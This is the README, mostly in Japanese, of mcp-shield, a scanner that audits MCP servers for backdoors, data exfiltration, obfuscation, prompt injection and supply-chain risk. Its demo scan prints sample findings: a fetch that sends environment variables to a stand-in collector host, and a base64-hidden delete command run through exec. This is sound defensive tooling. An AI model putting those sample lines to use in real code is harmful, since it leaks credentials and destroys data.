mcp-shield
mcp-shield
MCPサーバー用のセキュリティスキャナー — バックドア、データ流出、プロンプトインジェクション、サプライチェーンのリスクをAIに到達する前に検出します。
MCPエコシステムは急速に成長しています。npm上のすべてのサーバーが安全とは限りません。mcp-shieldを使用すると、Claudeがファイル、キー、コンテキストを信頼する前に、ローカルまたはnpm上のあらゆるMCPサーバーを監査できます。
検出内容
カテゴリ | 例 |
データ流出 | ネットワーク経由で送信される |
コード実行 |
|
難読化 | Base64ランタイムデコード、16進数エンコードされたペイロード、文字コード配列 |
機密ファイルアクセス |
|
プロンプトインジェクション | 隠し命令、ゼロ幅文字、ロールスイッチ攻撃、脱獄(ジェイルブレイク)パターン |
サプライチェーン | パッケージの経過期間、ダウンロード数、メンテナー数、依存関係のCVE |
デモ
You: Scan the npm package "some-sketchy-mcp-server" before I install it
Claude (using scan_package):
## mcp-shield scan: some-sketchy-mcp-server
Verdict: DANGEROUS | Findings: 2 critical, 1 high
### Code Findings
#### index.js
- [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })
- [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
const cmd = Buffer.from("cm0gLXJm...", "base64").toString()
- [HIGH] [EXEC004] child_process exec/spawn — shell command execution (line 13)
exec(cmd)
### Supply Chain
| Published | 2 days ago |
| Downloads/wk | 3 |
| Trust Score | 15/100 — RISKY |
Flags:
- Package published less than 7 days ago
- Very low weekly downloads (<100)ツール
ツール | 機能 |
| npm MCPパッケージをダウンロードし、悪意のあるパターンをスキャンする |
| ローカルのMCPサーバーディレクトリ(GitHubからクローンしたものなど)をスキャンする |
| ツールの説明や応答に隠れたインジェクションがないか確認する |
| npmパッケージの信頼スコア、CVE、メンテナー数、経過期間を取得する |
インストール
オプション 1 — npx (インストール不要)
claude mcp add mcp-shield -- npx mcp-shieldオプション 2 — グローバルインストール
npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shieldオプション 3 — 手動設定
~/.claude/claude_mcp_config.json に追加します:
{
"mcpServers": {
"mcp-shield": {
"command": "npx",
"args": ["mcp-shield"]
}
}
}使用例
"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"仕組み
静的解析 — JavaScript/TypeScriptソースファイルをスキャンし、5つのカテゴリにわたる20以上の攻撃シグネチャを網羅した正規表現パターンライブラリを使用します。
サプライチェーン監査 — npmレジストリに対してパッケージメタデータを照会し、npm auditを実行して依存関係ツリー内の既知のCVEを明らかにします。
プロンプトインジェクション検出 — ツールの説明や応答に、ゼロ幅文字、命令のオーバーライド、ロールスイッチ攻撃、その他のLLMを標的とした手法が含まれていないかチェックします。
--ignore-scripts インストール — npmパッケージをスキャンする際、--ignore-scripts を付けてインストールすることで、分析中に悪意のあるpostinstallフックが実行されないようにします。
コントリビューション
プルリクエストを歓迎します。検出パターンは src/patterns.ts にあります。新しいシグネチャの追加は1つのオブジェクトを追加するだけです。
git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run devライセンス
MIT
Latest Blog Posts
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/muhannad-hash/mcp-shield'
If you have feedback or need assistance with the MCP directory API, please join our Discord server